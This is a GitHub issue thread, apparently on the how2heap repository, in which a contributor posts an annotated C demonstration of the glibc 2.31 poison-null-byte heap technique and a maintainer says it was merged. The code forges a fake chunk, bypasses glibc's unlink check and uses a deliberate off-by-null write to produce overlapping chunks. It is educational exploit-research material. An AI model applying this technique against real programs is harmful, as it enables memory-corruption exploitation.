We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Maybe the following code is more helpful and clean to know what's happened in the heap.
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <assert.h> // Modify from https://github.com/shellphish/how2heap/blob/master/glibc_2.31/poison_null_byte.c int main() { setbuf(stdin, NULL); setbuf(stdout, NULL); // step1: allocate padding void *tmp = malloc(0x1); void *heap_base = (void *)((long)tmp & (~0xfff)); printf("heap address: %p\n", heap_base); size_t size = 0x10000 - ((long)tmp & 0xffff) - 0x20; void *padding= malloc(size); // step2: allocate prev chunk and victim chunk void *prev = malloc(0x500); void *victim = malloc(0x4f0); malloc(0x10); // step3: link prev into largebin void *a = malloc(0x4f0); malloc(0x10); void *b = malloc(0x510); malloc(0x10); /** * Heap layout: * ... ... * padding * prev Chunk(addr=0x??0010, size=0x510) * victim Chunk(addr=0x??0520, size=0x500) * barrier Chunk(addr=0x??0a20, size=0x20) * a Chunk(addr=0x??0a40, size=0x500) * barrier Chunk(addr=0x??0f40, size=0x20) * b Chunk(addr=0x??0f60, size=0x520) * barrier Chunk(addr=0x??1480, size=0x20) */ free(a); free(b); free(prev); // unsorted_bins <-> [prev, size=0x510] <-> [b, size=0x520] <-> [a, size=0x500] malloc(0x1000); // Allocate a huge chunk to enable sorting // large_bin[67] <-> [b, size=0x520] <-> [prev, size=0x510] <-> [a, size=0x500] // step4: allocate prev again to construct fake chunk void *prev2 = malloc(0x500); // prev2->fd == prev2->fd_nextsize == a // prev2->bk == prev2->bk_nextsize == b ((long *)prev)[1] = 0x501; *(long *)(prev + 0x500) = 0x500; // fake_chunk == prev + 0x10 == 0x??0020 // use prev's fd_nextsize & bk_nextsize as fake_chunk's fd & bk // fake_chunk->fd == a // fake_chunk->bk == b // step5: bypass unlinking void *b2 = malloc(0x510); // b->fd == a // large_bin[67] <-> [prev, size=0x510] <-> [a, size=0x500] ((char*)b2)[0] = '\x10'; ((char*)b2)[1] = '\x00'; // b->fd <- fake_chunk void *a2 = malloc(0x4f0); // large_bin[67] <-> [prev, size=0x510] free(a2); free(victim); // unsorted_bins <-> [victim, size=0x500] <-> [a, size=0x500] void *a3 = malloc(0x4f0); // a->bk == victim // unsorted_bins <-> [victim, size=0x500] ((char*)a3)[8] = '\x10'; ((char*)a3)[9] = '\x00'; // a->bk <- fake_chunk // Now fake_chunk->fd->bk == a->bk == fake_chunk // fake_chunk->bk->fd == b->fd == fake_chunk // can pass unlink_chunk in malloc.c: // mchunkptr fd = p->fd; // mchunkptr bk = p->bk; // if (__builtin_expect (fd->bk != p || bk->fd != p, 0)) // malloc_printerr ("corrupted double-linked list"); // step6: add fake chunk into unsorted bin by off-by-null void *victim2 = malloc(0x4f0); /* VULNERABILITY */ ((char *)victim2)[-8] = '\x00'; /* VULNERABILITY */ free(victim); // unsorted_bins <-> [fake_chunk + victim, size=0xa00] // step7: validate the chunk overlapping void *merged = malloc(0x100); assert((size_t)merged == (size_t)prev + 0x10); }
The text was updated successfully, but these errors were encountered:
Thank you very much for the helpful information. I adapted it and added it to the repo in commit 858f7b9
Sorry, something went wrong.
I'll close this for now. Feel free to reopen it if you think it can be further enhanced. Thank you again for your contribution!
No branches or pull requests
Add some heap information to make the code easier to understand.
Maybe the following code is more helpful and clean to know what's happened in the heap.
The text was updated successfully, but these errors were encountered: